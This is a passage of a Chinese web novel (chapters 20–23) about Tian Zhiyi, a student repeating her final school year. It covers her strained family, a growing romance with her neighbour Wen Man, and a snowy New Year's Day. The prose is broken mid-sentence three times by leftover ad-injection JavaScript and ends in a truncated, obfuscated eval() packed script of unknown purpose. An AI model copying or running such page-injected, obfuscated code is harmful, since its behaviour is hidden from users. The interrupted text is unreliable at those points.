一切都很完美,如果父亲不开口的话。 “什么读高三啊,去年考得一塌糊涂,现在在复读。” 圆桌不大,父亲的嗓门如轰然炸开的石洞,每个人都听得清清楚楚。 田知意握着叉子的手僵在了半空,全然不知该如何自处。 她怔怔地盯着父亲的方向,杨柚歆刚好转过头来看她。 从杨柚歆乌黑的眸子里,田知意看到了失魂落魄的自己。 见她没有反应,父亲并不满意,反过来问她:“怎么?不是吗?” “啊……是。” 田知意低下头,目光一点点黯淡了下来。 她突然不知道自己为什么要来这个场合。 一路匆忙,舟车劳顿,又买了一身拘束的新衣,像个完美娃娃一样亮相和社交,难道就是为了在此刻被扒得半点尊严不剩的吗? 杨咏棕见势接过话茬:“还在原来的学校复读吗?” “哪能呢,在壶州找了个复读学校,一年学费十来万呢。”父亲顺势跟上,“老哥,不瞒你说,我可太羡慕你有这么个省心的女儿了。你看看我,压力太大了……” 田知意将叉子放回碗里,全然失去了吃饭的心情。 餐桌话题火热如潮,唯独她身处孤岛。 20. 浮想 这顿饭吃了两个多小时,父亲和杨咏棕喝了挺多,杨柚歆也不少。 他们谈得很愉快。 “你爸喝成这样能开车吗?”母亲推了推田知意,“喊个代驾呢。” 田知意拿出手机,找出滴滴,下单前看了眼母亲:“妈妈不开车吗?” 母亲下意识地看眼了腹部,抬头只见田知意盯着自己,顿时有种被戳穿的羞恼:“看什么,赶紧下单吧。” 她的语气有些急躁,话出口时连自己都愣了愣,又缓下语气来找补:“要是担心钱的话等下我转给你。” 田知意摇摇头,自嘲地笑着下了单。 ……在期待什么呢? 就算这样明显的试探,母亲就是要装聋作哑,她又能如何呢? 代驾来得很快,父亲已经站不稳,但仍勉强撑着跟杨家道了别才坐到副驾上。 送走了杨家人,田知意和母亲坐在后排。 她们各自系了安全带,当中很自然地空出了一道间隔。 泾渭分明。 不知道为什么,田知意脑袋里蹦出这么一个词。 车辆启动,一侧商业街的光照进车内,划出光与暗的界限。 田知意扭过头,将自己的脸埋进了阴影里。 ……界限更加清楚了。 “我们好久没有这样坐在一起了。”母亲柔声感慨。 田知意顺着声音转过头。 许是此时的生分也触动了母亲,她脸上露出了少有的落寞神情。 田知意努力回忆了番,记忆里与母亲并排坐的时候本就少:坐沙发上、坐电影院里,坐音乐会厅里、坐宴席桌前…… 这些事随着她课业的繁忙日益减少,仿佛在时间的流逝中自然而然地剥离了她的生活。 田知意沉默片刻后才出声:“一般这么坐着都是有话要说的时候。” “你说的对。”母亲表示了认同,“你刚跟他们聊了那么久,听说杨柚歆是做什么的了吗?” 田知意敏锐地察觉到母亲是在考较她。 这意味着接下来的话母亲会意有所指,她须打起精神应对:“说是她开了个厂,生产医疗器械的。” “是个烧钱的产业吧?”母亲感叹,“不过她从国外留学,认识了朋友带了技术回来,有冲劲,家里也乐得支持她,甚至来找我们一起支持。” 田知意明白了母亲的意思。 ……只有优秀的人才能得到家里的全力托举。 看来她的试探还是触碰到了母亲的神经,也许在今晚之后,孕育二孩就该成为全家心照不宣的事了。 她没有半分辩解的心思,甚至连想都没去想,似乎直接就接受了被放弃的事实。 ……明明不久前还在为这件事不甘心的。 此时,充满她脑袋里的是留下的那张签纸上的诗文: “不如守旧待时来。” ……待时来。 这三字甫一见到便让她有种深深的触动,让她把签纸贴在硬纸板上,再剪下来,做成书签夹在《5年高考3年模拟》里,好时时看见。 彼时的她觉得等待是件再容易不过的事,就是等到高考再次到来,考好才能翻篇。 此时才知,最难的是被外界刺激时一动不动,依旧保持平稳等待的姿态。 良久,田知意轻声问:“爸爸会投资吗?” 母亲摇头:“不知道,也许会吧,毕竟他一直面子薄。” 田知意没否认。 父亲向来如此,从不等人直接拒绝,只等人主动放弃。外人不迁就他这点,他便干脆出点血,成全了面子,能搏个大方的美名。 她对此再熟悉不过。 周日一早,田知意主动提出要自己坐车回学校。 父亲宿醉刚醒,见她如此识趣,露出了松了口气的表情:“也好,我现在这样不方便开车。” 田知意随意吃了几口早餐,在行李箱里塞满秋冬的衣服,便喊了辆滴滴车。 母亲看着她拎行李箱的模样,又看着仍躺在床上的父亲,欲言又止。 田知意打开门,瞥了眼屋内,没耐心等母亲内心挣扎出结果便出门去了。 滴滴车等在了楼下,司机见她拎着大箱子,下车帮她将她帮行李放进后备箱。 她说了声谢谢,坐上了后座系好安全带。 车辆起步,窗外的景物飞快地向后倒退,仿佛时光的回溯,在苏城的过去也在回溯里消退,正在被壶州发生的一幕幕取代。 复读不到两个月,她却觉得比重读了一个高中还要漫长。 彼时融在大环境里,如顺流直下,酣畅淋漓,时光飞逝。 此时孤身一人在外,如逆水行舟,步步艰辛,度日如年。 ……离高考还有200多天。 田知意低下头。 她想,她要像一颗种子埋进土里,在没人看见的冬天扎下深深的根,等待春天的破土;她要像只蛹,慢而坚定地用厚厚的茧子裹住自己,忍受累日的蛰伏直到破茧成最美的蝶。 上大巴后,田知意把昨天代驾的支付截图发给了母亲。 昨天母亲说过要转给她的,可惜今早全然没了动静。 要是往日田知意也就算了,但如今的她已经明白了不少事,再无法像过去那样忍让了。 爱也好,钱也好,都跟机会一样,不会在原地等人,有所求就必得伸手去要。 被拒绝了下次就换种方式,直到得到为止。 没什么好避讳的。 她看向窗外,高高的广告招牌后藏着许许多多的房子、许许多多的人家,就像她心里密密麻麻的心事,被安置地妥妥当当。 手机屏幕亮了亮,田知意滑开看了眼,发现是闻漫的消息,问她什么时候到。 田知意心下一暖,片刻愣怔之后才去看车票上的班次信息。 这种有人牵记的感觉着实不赖,何况她已经许久不曾感受到了。 大巴按时抵达了车站,停靠在地下。 许是她昨天离开后,壶州下了场不小的雨。地下车库到处都潮漉漉的,泛着湿气与水泥混合的馊味。 田知意等人群散了才拿到了她的行李箱,滚轮滑过地面发出沉闷的声响,仿佛是谁凝重的叹息。 她走了很久才找到向上的扶梯。 扶梯很高,停着不动。田知意不知道这扶梯是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 否还在使用,但她没有选择,旁边的楼梯同样高得吓人。 她费了些力气把行李箱推上扶梯,扶梯晃了晃,以极为缓慢的速度运转起来。 身侧的楼梯在缓慢地下沉,天花板离她愈来愈近。墙壁挡在她面前,出口要拐90°弯,在扶梯上只能看到条窄窄的线,隐隐透着些许亮光。 田知意在逼仄的空间里挣扎,就像挤上了辆老旧缓慢的列车,只有到站时的那一道门缝,才是喘息的窗口。 这一路她没看到一个人,却在豁然开朗的出口,看到不知从哪里涌来的密集人群。她仿佛穿越了长长的生命之旅,刚刚落到了尘世间。 人群拥挤着从狭窄的闸机一个个地穿过去,像是慌忙蹦出罐头的一条条沙丁鱼。 田知意看着人群,没有半点想要挤过去的想法。 她想起母亲腹中还未出世的孩子。 ……人来这世间一遭,纯是为了受苦吗? 蓦地,她听到远处传来熟悉的声音,正高声喊着她的名字:“田知意——” 她寻声望去,只见闻漫高举着双手,边挥动边呼唤她。 田知意的眼睛倏地一亮,不自觉加快脚步向他那边走去。 人群依旧拥挤,环境依旧晦昧,她全然不见。 阴影里的闻漫是那样显眼,熠熠发亮。 他像是浩瀚宇宙里撒下的星尘一点,刚好落进了她的眼里。 她只要望着他,就不会再迷失方向。 “等很久了吧?”田知意问。 “我算好时间的,刚到。”闻漫伸手去帮她推行李箱,“我们是在这附近找吃的,还是先回公寓?” “我不急,都可以。”田知意看着他,“你觉得呢?” “我看时间还早,在这附近吃饭也来得及。”闻漫指了个方向,“附近有个寄存行李箱的点,24小时只收10元,暂存那里可以吗?” 田知意应下了。 母亲看到她的发的代驾截图后,连发了3段60秒语音来表明态度,但最终还是把红包发了。 田知意收了红包,没去听语音。 不听也知道说了什么,反正不会是夸奖人的话。 车站刚落成时是在老壶州城挺偏的位置,但随着城市的发展,车站附近也日益热闹起来,如今聚集了中高端小区,也有知名的商圈。 田知意打开大众点评,发现吃的确实不少。 “想吃什么?”闻漫征求她意见。 商圈里有两三家烤肉店,田知意看了看,有些心动。 仔细算来,她昨天起就没怎么正经吃过饭,今天的早餐也吃得匆忙,经过舟车劳顿,确实有些饿了。 “要不……烤肉?”她问。 闻漫有个短暂的愣怔,很意外她的选择。 印象里田知意的口味总是偏清淡,烤肉似乎不该出现在她的食谱里。 但他很快回过神来:“自助烤肉行吗?我手艺还可以的。” “是……吗?那一定要尝尝。” 闻漫听到田知意轻声的呢喃,像是三月春风里柔软的莺鸣。 她的笑容,也如三月的花儿般,小而秀丽地绽放着。 21. 浮想 田知意跟着闻漫进了店。 这是还算知名的自助烤肉连锁品牌,田知意在苏城吃过,品类还算丰富,肉质也还可以。 许是离饭店还有些时间,店里客人不多。店员们正空闲着聊天,见他们进来,赶忙正色招呼,将他们引到靠窗的沙发位坐下。 没多时,店员帮忙架好了炉火,送上蘸料和小菜。 “喜欢吃什么?”闻漫问田知意,打算去拿菜。 田知意摆摆手:“你看着取,我不挑食。” 闻漫起身离开,田知意招呼店员过来,在大众点评上买了双人餐。 她不喜欢欠人情。 从昨天回家到现在,闻漫又送又接的,田知意知他是好心,但也明白不能再这样心安理得下去。 店员扫过码,指引她在大众点评上拍照晒单打好评,承诺会送两人份的饮料。 田知意一顿操作,店员拍完照刚确认完,就见闻漫端着一摞盘子来了。 “在做什么?”他边摆盘边问。 “五星好评送酸梅汤。” 田知意帮他把盘子摆好,没有提已经买单的事。 炭火已经烧得极热,上方的空气已然扭曲畸变,像水波一般。 闻漫拿起烧烤夹,将牛肉在架子上展开铺平。 火舌燎动,发出“滋啦滋啦”的声响。牛肉逐渐转成粉色,香味绕着炭火架弥漫开来。 田知意拿了把剪子,对着闻漫摇了摇。 闻漫心领神会,夹着提起牛肉片,任她剪成小段。 田知意取了只干净的盘盛烤好的肉,又把桌面理了理,尽量做到生熟分开。这才心满意足地夹了一片,蘸上烧烤酱,慢慢地吃了起来。 闻漫看着她的动作,只是笑,没有说话。 田知意注意到他的视线:“怎么了?” “没事。”闻漫摇头,“只是觉得这么吃很有仪式感。” “哦。”田知意低头继续吃,“你的手艺确实不错。” 闻漫也低下头。他一面吃着,一面盯着盘,见肉不多了,夹了片厚五花。 五花肉一沾到滚烫的烤架便冒出亮亮的油光来,滴进火里,火势一阵昂扬,又很快落了下去,带出阵阵黑烟。 他下意识地把烟挥开,却见田知意被熏得咳嗽。他连忙将顶部的烟筒拉了下来,空气这才清爽了许多。 “没事吧?”闻漫关切地问。 田知意摆手:“没事没事,自助烤肉都这样。” 她喝了口酸梅汤,帮着闻漫把厚五花肉剪开,等到五花肉块整齐地排列在网架上时,他们终于腾出了说话的空。 “我想到一些过去的事。”田知意说,“高三开学前,我去过一次京市找路嘉茉,那天吃的也是烤肉。” “也是自助的吗?”闻漫问。 “是点餐后自己烤的那种,烤串比较多。”田知意想了想,感觉记忆有些久远,“周宇泓负责烤,我和路嘉茉负责吃,后来盛漾也来了,负责买单。” “周宇泓和盛漾是……?” 听闻漫这么问,田知意才意识到自己忘了介绍:“周宇泓是我和路嘉茉的同学,学校组织了到京市的活动,我和他中途跑出来见了一次路嘉茉。盛漾是路嘉茉父亲的女朋友的儿子,现在应该是她男朋友了吧。” 闻漫显然对周宇泓更感兴趣:“周宇泓是……男的?” 田知意点头:“男的。当初凭他的实力本来也能上清北的,但因为他喜欢的女孩一心打算去沪市读书,就签了复旦。” 闻漫几不可查地松了口气:“后来呢?” “大学在一起之后又分手了。”田知意叹气,“恋爱脑的悲伤故事。” 闻漫跟着扑哧一笑。 “不过一年,路嘉茉在京市,周宇泓在沪市,我到了壶州。”田知意苦笑着总结,“只不过一年,大家就散落在天涯了。” 她唱了很多年的《那些花儿》,最后终于唱到了自己头上。 闻漫垂眼:“有缘总会再见的。” 200多天以后,他们也要面临高考、面对分别,不知那时的他们,又将散落到哪里。 餐后,闻漫起身去付账。 田知意拦住他:“我付过了。” 闻漫难得露出了局促的神情:“这算什么……” 田知意拍拍他的肩膀,笑得眉眼弯弯:“不能让你既出钱又出力呀。” 闻漫只得领了她的好意。 两人回去取了行李,便往公交车站走去。 田知意将话题转到闻漫身上:“我听说CMO拿奖之后大概率可以签学校。你打算签哪里?清华还是北大?” “清北应该……太难了。”闻漫谨慎地开口,“我的目标是签约C9大学的降分录取。毕竟不走竞赛,我只凭高考成绩上C9会很吃力。” 田知意原先读的高中号称苏城的“天才集中营”,苏城又是竞赛强市,导致她对竞赛结果缺了些实感,以为竞赛生动辄就是保送清北。仔细想来,也有不少其他名校会在CMO成绩出来时签人的。 “你总说我是优等生,但是……”闻漫别开眼,“比起你跟我讲过的朋友,我再普通不过。” “多巧。”田知意说,“和他们比,我也再普通不过。” 闻漫偏过头来,见她也在看自己,四目相对,两人不由地笑起来。 在别人的世界里,我们或许只是点缀。 可在当下的故事里,我们有名有姓,有完整的过去,也有可期待的未来。 幸甚。 时间一晃而过,很快就到了闻漫入营前。 班里的几位好友拉着他组织了践行聚餐,预祝他能取得好成绩。 等他回到公寓找田知意时,天已经黑透了。 田知意打开门:“来啦?不过现在有些太晚了,不能在房间里了。” 说着,她背上身边的琴盒:“我们去街心公园可以吗?” 闻漫点头。 他已经隐约猜到她想做什么,但他觉得自己会喜欢田知意的“礼物”。 冬夜的街心公园人烟稀少,风声穿过林叶,带着几分寂寥的萧瑟,不禁让人紧了紧外套。 也让人有些盼望春天。 公园里的照明一般,多是近地面的绿色灯光,主要的步道上隔很远才有一根路灯杆,莹莹闪着昏黄的光。 田知意走到长椅前停下脚步。 闻漫认出来了,这是上次他偶遇她练琴的地方。 田知意将琴盒放在长椅上:“之前你说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 想听《恰空舞曲》的,我一直都记得。” 闻漫心里有不小的震撼。 彼时他们还不算熟悉,田知意蓦地问他想听什么曲子,他不过是个爱好者,她看起来又很专业,不想显得太掉价才提了首认知范围内难度极高的,没成想她当真花时间去练了。 “这首曲子我以前就会拉,不算是特意练出来的,但也花了我不少时间。”田知意架好小提琴,“有什么拉得不好的地方还请多担待。” 她话音刚落,琴声便随之响起,全然没给闻漫说话的机会。 闻漫闭上眼。 琴弓在弦上跃动,曲调仿佛一位在钢丝上起舞的女子,足尖勾连着钢丝晃荡摇摆,忽高忽低,紧紧攥着在场的每个人的心,她却始终如履平地,笑看他人心惊胆寒。 不到一刻钟的全曲听来,有热情似火,有如临深渊,好似一场大梦,酣畅淋漓。 沉沉然入梦,悠悠然转醒。 闻漫看着田知意,这十多分钟他们没有说过一句话,却好像交流了千言万语。 他仿佛看到了曾经那隔一帆风顺、没有被风霜侵染、意气风发的田知意,那本是只存在她记忆里的最好的时光,此时却用琴声原原本本地演绎了出来。 闻漫不知道田知意花了多少时间才达到如今的效果,但此时的他不必为她计算其中的辛劳,只消为她献上最热烈的掌声,真诚地赞叹她带给他的触动。 田知意握着琴和琴弓,向他鞠了一躬:“这是我送你的临别礼物。” 送你摆脱过往的勇气,送你不畏艰难的信念。 愿你此去轻舟一帆风长顺,纵黑夜茫茫亦有长星启明。 田知意收拾好琴,重新背上琴盒,抬头只见闻漫向她伸出手:“很冷吧?我看你的手都冻红了。” 她抬手弯了弯手指,发现是有些僵硬。 刚刚拉琴太过入神,没有注意到夜风的凛冽。 她犹豫了片刻,将右手放入闻漫的掌心。 很快,温热顺着指尖涌上心间。 ……这就是十指连心吗? 田知意别开眼,任他将她的手塞进口袋里。 闻漫的上衣口袋比她的宽敞很多,也暖和得多。僵硬的手指浸在这片温暖里,逐渐柔软起来。 田知意想动动手指,却被闻漫的手扣住:“冷吗?” 她沉默片刻才出声:“没,很暖和。” ……说不出半句违心的话。 她想指出男女授受不亲,又想大大方方开个玩笑,然后宛转地将手抽回,但她笨嘴拙舌地不知该如何言语,也没有直接挑明的勇气。 更何况,她心里不是没有在贪恋这份温暖的。 她像个贫寒交加的乞儿,一旦得到半分温暖,便只一味想着牢牢抓住,不去管这温暖来路是否得当,能否永久属于她。 “有个事我想麻烦你一下,可以吗?” 闻漫突然出声,打断了田知意的沉思。 “什么?” 她听到自己的生涩的声音,仿佛锈住了锁孔。 她听到她心底在催促闻漫快说出他的请求,给她一个说愿意的机会。 田知意,你完了。 她在心里对自己说。 你心动了。 22. 浮想 田知意不知道自己的表情有没有暴露她的内心,她下意识地偏头看向闻漫,所幸他正低着头,轻声说着他的诉求: “通知上说我周六下午才能离营,回来应该已经是晚上了。那个时候也不可能去学校拿作业,所以我想跟我同桌说一声,让他帮我收拾一下这周的作业,周六中午你到我学校门口接一下,晚上我直接过来找你,可以吗?” 话有些长,好在闻漫说得不快,田知意很轻松就听明白了:“好啊,没问题。” 她想了想,补充问他:“你同桌长什么样?别到时候认错了。” 闻漫拿出手机,找出同桌的微信,翻到朋友圈的照片:“喏,就他。” 田知意仔细看了,是个皮肤黝黑、眉毛浓密、身材高大的男生。 除了身高外,几乎是和闻漫完全相反的类型。 ……还好是个男生。 田知意这么想着,一面暗自雀跃,一面又臊得燥热起来。 ……借口问对方的长相,其实只是想确认闻漫的同桌是不是女生。 田知意,你可真是卑鄙。 周六中午,田知意一下课便赶到三中门口,意外的是没看到任何皮肤黝黑、眉毛浓密、身材高大的男生,只看到一个皮肤白皙、身材娇小,留着齐耳短发的女生捧着厚厚一沓讲义在校门口张望。 见她过来,女生忙迎上前:“你就是田知意吧?” 田知意点头:“闻漫让我来拿作业,你是他的同桌吧?” 她心里自然清楚面前的女生绝不是闻漫的同桌,但事已至此,也只能闭着眼睛将错就错。 女生瞬间一愣:“我是……嗯,我是他同桌的朋友。他同桌临时有事,让我来一下。” 她努力将局促与不安藏在眼底,可还是被田知意捕捉到了。 ……她是在为闻漫的同桌跑腿,还是另有打算呢? 田知意不想在这种问题上拘泥太久,便笑着从女生手里接过讲义:“好的,我会转达他的。没什么事的话,我就先走了。” 说罢,她打算转身,却听到女生在身后唤她:“等等……你是闻漫的邻居对吧?” 田知意心下一动。 ……要说到重点了吗? 田知意回头看向女生:“是的。” “嗯……好的。”女生垂下眼,“我知道了。” 自打见到这个女生起,田知意脑海中便一直翻滚着一个念头,此时终于确定了答案。 她不是为闻漫的同桌跑腿的,是特意来见我的。 虽然她已经极力在掩饰,但情窦初开的少女面对自己的心动时茫然无措、不得不强压下喜欢、装作浑然不知的眼神,总会在说话的间隔、思考的罅隙间,偷偷地流露出来。 这种眼神,田知意是曾见到过的。 在她和周宇泓去京市找路嘉茉的那个夜晚。 席间,路嘉茉和盛漾稍稍离开了一会儿,食材烤完了也不见他们回来,田知意便起身去找,却刚好瞧见他俩独处。 彼时的路嘉茉眼里有急切、有不甘、有迷茫,还有苦苦压抑这些情愫的理智。 她被裹挟在矛盾的漩涡里,摇摇欲坠。 原来,暗恋中的女孩都是一样的,在冲动与隐忍的碰撞中支离破碎。 田知意抬眼看着面前的女生。 这个女孩……也喜欢闻漫啊。 许是同样的心境,让田知意生出几分物伤其类的感触。 ……我在某个不经意的瞬间,也会流露出这样的情绪吗? 或许会被某个敏锐的人察觉,宣扬出去到人尽皆知。 或许会被某个沉默的人发现,随着紧闭的唇被吞没。 或许最终无人关心无人注意,在风中慢慢腐烂湮灭。 都不是什么好结局。 想到这里,田知意更加坚定了转身离开的决定。 ……得藏得更好些,不要被任何人发现了。 身后传来女生的声音:“那个……可不可以不要告诉他是我来送讲义的……” 田知意背对着女生高举起左手,比了“OK”的手势。 她了解女生不想被人所知的心情,也愿意成全。 她听到女生大声的道谢。 她没有回头。 自古王不见王,她们不该再碰面了。 晚上八点多,田知意戴着耳机正在刷题,忽然听到门口传来断断续续的响动。 她一时没有反应过来,摘了一只耳机,才确定是有人在敲门。 “谁呀?”她朗声问。 “是我,闻漫。” 田知意手中的笔一顿。 他回来了。是找她来拿讲义的。 明明是件说好了的、很寻常的事,她的心却不可遏制地猛烈跳动了起来,像是暴雨点拼命地撞击着窗玻璃,想要从胸膛里蹦出来一般。 田知意揉了揉太阳穴,花了几秒来平复心情:“稍等,来了。” ……现在就急切成这样,等下见了人该怎么办呢? 她故意慢吞吞地从椅子上下来,慢吞吞地抱起讲义,慢吞吞地打开门。 闻漫的脸在瞬间映入眼帘,连同他热情洋溢的笑容:“我回来了!” 方才还剧烈跳动的心脏,在猛得一撞后突然恢复了正常。 田知意怀疑她心里那头乱撞的小鹿因为太激动撞死了。 ……这样也好,起码情绪恢复正常了。 “喏,这是我拿回来的讲义,你数数有没有少。”田知意将讲义一股脑儿塞到他的手中。 闻漫接了,却没有数:“没关系的,本来也没打算全做。” 田知意瞥了他一眼:“那还让我去拿。” 闻漫笑笑:“你之前不是说想看我们学校的题吗?” “你是说……这是为我拿的?” 田知意感觉到好不容易平稳的心跳又开始有了大幅度波动。 看来那头小鹿没撞死,只是撞晕了。 “你说呢?”闻漫反问她。 田知意别开眼:“你不做那我对谁的答案呢?” 闻漫看着她:“我帮你改,就当是做一遍了。” 田知意愣了愣,“噗嗤”笑出声来:“那好,麻烦你啦。” 说着,她伸手去把讲义拿回来:“我先拿回去做,做完再拿给你。” 闻漫伸手拦住她。 手指相碰,他俩仿佛触电般齐齐一怔,却谁也没松手。 片刻之后,闻漫先出声:“我还没吃饭呢。” “好吧。”田知意抽回手,“我请你去外面吃点东西?这个点应该还有店开着。” “我买了周黑鸭,打算和你一起吃的。”闻漫说。 真诚是永远的必杀技。 田知意像被迎头浇了盆热水,热气腾腾的水雾眯了她的眼,教她晕晕乎乎了好一阵才语无伦次地出声:“哦对,你们这次的冬令营是华师大一附中承办的……可是我不太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能吃辣的耶。” 话一出口田知意就后悔了。 ……说这个做什么呢?明明是很想和他一起的,怕辣多喝两口水不也一样吗? “他们今年出了不辣的新品,辣与不辣的我都买了些。” 田知意陷入了沉默。 她已经说错一次话,绝不能讲错第二次。 沉吟片刻,她打算闭嘴,默默跟着闻漫进了屋。 屋内的餐桌上有两个塑料袋,一个是锁鲜盒装的周黑鸭,一个里面是饮料。 闻漫招呼她坐下,将锁鲜盒摆好,又将饮料陈列在她面前:“喝点什么?可乐、酸奶……” “酸奶吧。” 田知意听说酸奶的解辣效果好,她对辣味的鸭货也不是完全没兴趣的。 闻漫取了瓶啤酒。 “本来想问你考得怎样的,现在看来应该考挺好。”田知意笑着打趣,“喝多啤酒小心发福哦。” 闻漫挠挠头:“喝得也不多,而且我有在锻炼的……不管啦,主要是高兴。” 说着,他从包里取出奖牌,递给田知意:“还没有别人看过呢。” 是枚银牌,在灯光下发散着温润的光泽。 田知意掂了掂,比她想象的要重些。 “恭喜呀,签了哪个学校?”她笑得眉眼弯弯地问。 “签了浙大的降分。” 田知意惊呼:“那不是……超好的大学吗?恭喜恭喜!” 她记得他最初的目标是C9大学,这应该算是得偿所愿了吧? 闻漫不好意思地笑笑:“能签上我也很意外,正常够不上的。” “嗐,能签就是够得上。”田知意的心里也跟着美滋滋了起来,套上手套啃了只鸭脖,“我要多吃点,沾沾喜气。” 闻漫也坐下,和她边吃边聊。 “我看你戴着一只耳机,刚刚是在听歌吗?”闻漫问。 “随便听听,当个白噪音。” “外放出来听呢。”闻漫提议道,“这里没有电视剧,光吃零食怪单调的。” “我的歌单杂七杂八的。”田知意提醒他,“有的会很吵。” “没关系,当个白噪音。” 见他用同样的话术,田知意知道再推脱不得,将手机音量调到最大。 闻漫听了前奏,觉得熟悉:“这是《传颂之物》?” 田知意摇头:“我不知道。网易云的日推,我觉得挺好听。” 手机传来了歌声:“きみの瞳に映る,わたしは何色ですか?赤深き望むなら(你瞳眸中的我,会是什么颜色呢?若你深切希望是红色)……” “这个问题我能回答。” 闻漫突然这么说,在田知意还没反应过来时,他手中已经多了一个盒子。 田知意摘下手套,又擦了擦手,这才打开盒子。 立方体的透明树脂里,有朵樱花仿佛活生生地绽放着。 盒子里还有张说明卡,写着樱花的品种及花语。 重瓣樱花。 花语:文静、纯洁。 “中午空闲的时候去了趟武大。”闻漫说明道,“你知道的,那里的樱花很有名。” “是很有名。” 田知意将盒子拢在掌心,轻轻攥紧。 ……他好像真的回答了这个问题。 你瞳眸中的我,会是什么颜色呢? 若你深切希望是粉色,我就把春樱托付给你。(卷一完) 23. 梦成 时间悄悄走到元旦。 这年的1月1日在周三,是个前不着村后不着店、怎么也凑不成三天假期的尴尬日子。 于是这日便自成一天的休息日。 许是只有一天,再怎么冠以“调休之名”也难以合理的占用。学校纠结许久,最终也给了毕业班一个休息日,权当一模前难得的喘息口。 田知意睡前关了闹钟,醒来时外面的光线照进屋里,似乎已经大亮。 她吓了一跳,以为睡到了十点。 看了眼时间,发现也才八点不到。 ……那这亮得有些反常了。 她拉开窗帘,只见外面白茫茫一片。 雪花如鹅毛般在空中飞舞,她隔着窗玻璃往外看,仿佛在看玻璃雪球里的世界。 下雪了。 苏城平均两三年才下一场雪,多半要等到春节前,且鲜有能积起来的时候。 一个意外的假期,一场意外的雪,巧合都堆积在这个早晨。 吃过早饭,田知意穿上厚厚的羽绒服,戴上帽子和手套,蹬上雪地靴,打着伞出门了。 雪天天然带有令人想出门的魔力。 一脚深一脚浅地踩在绵软的雪地里,将软软的雪花踩到紧实,看着雪水的凉意裹住双脚,将脚尖冻得梆硬,再打着滑继续往前走。 别的时候,田知意可没有这般好的折磨自己的兴致。 但唯独下雪,将一切对寒冷的不快都消弭了,只留一团清气,贴着额头脸颊,落在鼻尖指尖。 许是休息日还早无人出行,许是疏松的雪花吸收的杂音,街道上格外寂静,田知意一路走到街心公园,落在耳边的只有自己的呼吸声。 公园还在沉睡,雪被很是晚好,田知意小心地踏上去,留下一串不太整齐的清晰脚印。 她回头看了看,被自己歪歪扭扭的足迹逗乐了,便干脆往林子里走去。 林子里的小路相对干爽,雪花被树叶、枝桠承托住了,只有些许透过叶尖的缝隙,漏到近地的草叶上,翠绿的草上便染上了斑斑驳驳的白。 田知意撑着伞,仰头看着树林遮蔽的天空。 雪势渐止,穿过林叶的一点天光,是发黄的微暖色彩,迷迷蒙蒙地笼罩下来,投射在草叶间,有稀碎的浮尘在光下飞旋,有如神迹降临时的圣洁。 这一刻,她的过去不曾出现过,她也无法留到未来,唯有当下,偶然遇见,偶然感受,偶然欣喜。 被竞争和考试塞满的怨气被一扫而空,田知意的心中像是涌进了一汪清泉。 她呆了好一会儿才离开。 等回到公寓,已经接近中午。 她在楼前遇到了出门的闻漫,他也是全副武装的模样,见到田知意才摘下捂住脸的围巾,笑着与她打招呼:“出门啦?” “休息日,随便逛逛。”田知意对他的行程有些好奇,“出去吃午饭吗?” “我去买些食材,打算煮火锅吃。” “火锅?”田知意想起初见时在他家见到的电磁炉,“你肯定是吃辣锅吧。” “鸳鸯锅也有。我妈之前过来的时候买的,她不吃辣。” 田知意有些意外:“阿姨会过来吗?倒没机会见到。” “这个学期她没来过。” 田知意发出惊讶的声音:“诶?高三的话不是……” 她想说高三应该更需要人照顾,但话说一半联想到自己,又觉得或许独处可能是个更好的决定。 闻漫看着她,并不回答,只是问:“要一起去买食材吗?晚一点吃可以吃到晚上。” 田知意很久没吃火锅了,被他这么一提醒,馋虫很自然地被勾起:“好啊,我喜欢番茄锅。” “那走吧。” 附近没有商圈和大超市,有家不小的菜市场。 室内还算暖和,人来人往,很是热闹。 地面铺的瓷砖被雪水打湿,纵然有防滑点,走起来也十分容易打滑。 闻漫担心田知意的安全,便一直拉着她。 他的手掌很宽,指节穿过指缝,修长的手指扫过她的手背,将她的手裹得严严实实。 “这里很容易摔倒,要很小心。”他仔细地叮嘱她。 田知意点点头,小碎步跟在他后面,走过一个又一个摊位。 “爱吃什么?”闻漫问她。 田知意想了想:“鱼豆腐、豆皮、竹笋、腐竹。” “还有肉。”闻漫帮她补充。 田知意红了脸:“肉谁不喜欢呢。” “说得对。”闻漫将她点的菜一一买齐了,又挑了些丸子之类的冻品,“这样差不多了。” “还没买锅底。”田知意提醒他。 “红油锅底家里还有,你的番茄锅嘛……”闻漫举起两个番茄,“我炒给你。” “还有什么是你不会的吗?” 田知意终是忍不住。她私心觉得,闻漫有时候就跟哆啦A梦一样,每逢需要就能掏出一个技能。 “有啊。”闻漫想了想,“再难一点的就不会了。” ……说了跟没说一样。 田知意耸耸肩。 他们走到菜市场出口,田知意主动要拎菜。 闻漫不给她:“我是男生,该干重活。” “可我也不能白吃你的。”田知意算了算,“就算下次请回来,这次也要给你帮忙。” 说话间,天空又飘起了雪花。 田知意顺势撑开伞:“我来撑伞。” 闻漫看了看满满当当的双手,将右手上的东西并到左手上,空出的右手去接她的伞:“哪有让女生撑伞的道理?” 田知意不给:“我总要做件事的。” 她的眼里是少有的坚决。 闻漫看着她,沉默片刻后,从左手上摘下来一只小塑料袋,递到她眼前:“要不你拿这个吧,但伞得我来撑。” 这只塑料袋是几只里最轻的。 田知意知道闻漫的意思,还想再说些什么,却听到他轻轻出声:“雪下大了就不好走啦。” “……好。”田知意终是接过了塑料袋。 闻漫一划伞柄,将伞举到头顶。 伞不大,田知意往边上让了让,想给闻漫匀些空间。 可她刚让开,闻漫便将伞面往她这边倾斜过来。 田知意看了眼闻漫,只见他双眼正视前方,仿佛倾斜伞不过无心之举。 她又让了让。 伞面也很快跟了过来。 无论几次,闻漫总能精准地察觉到她的退避,恰到好处地将伞覆盖在她的头顶。 眼见雪花不断落在他的肩头,田知意无法,只能将左手挎进他的臂弯里,揽住他的右手,这才保证两个人都在伞下。 雪越下越大,隔绝了他们与外界。 一方伞下仿佛是独属于他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 